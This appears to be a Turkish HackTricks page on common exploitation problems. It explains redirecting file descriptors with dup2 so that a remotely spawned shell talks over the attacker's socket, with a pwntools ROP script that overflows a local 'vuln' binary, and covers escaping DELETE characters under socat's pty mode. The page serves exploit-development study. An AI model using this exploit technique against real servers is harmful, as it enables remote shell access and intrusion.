Yaygın Sömürü Problemleri

Reading time: 2 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Uzak Sömürüde FD'ler

Örneğin, system('/bin/sh') çağrısı yapan bir sömürü gönderdiğinizde, bu sunucu sürecinde çalıştırılacak ve /bin/sh stdin'den (FD: 0) girdi bekleyecek ve stdout ile stderr'de (FD'ler 1 ve 2) çıktıyı yazdıracaktır. Bu nedenle, saldırgan shell ile etkileşimde bulunamayacaktır.

Bunu düzeltmenin bir yolu, sunucu başlatıldığında FD numarası 3 (dinleme için) oluşturduğunu ve ardından bağlantınızın FD numarası 4 olacağını varsaymaktır. Bu nedenle, stdin'i (FD 0) ve stdout'u (FD 1) FD 4'te (saldırganın bağlantısı) çoğaltmak için dup2 sistem çağrısını kullanmak mümkündür, böylece çalıştırıldığında shell ile iletişim kurmak mümkün olacaktır.

Buradan Sömürü örneği:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

socat'ın zaten stdin ve stdout'u sokete aktardığını unutmayın. Ancak, pty modu DELETE karakterlerini içerir. Yani, bir \x7f (DELETE -) gönderirseniz, bu saldırınızın önceki karakterini siler.

Bunu aşmak için, gönderilen her \x7f'ye kaçış karakteri \x16 eklenmelidir.

Burada bu davranışın bir örneğini bulabilirsiniz.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin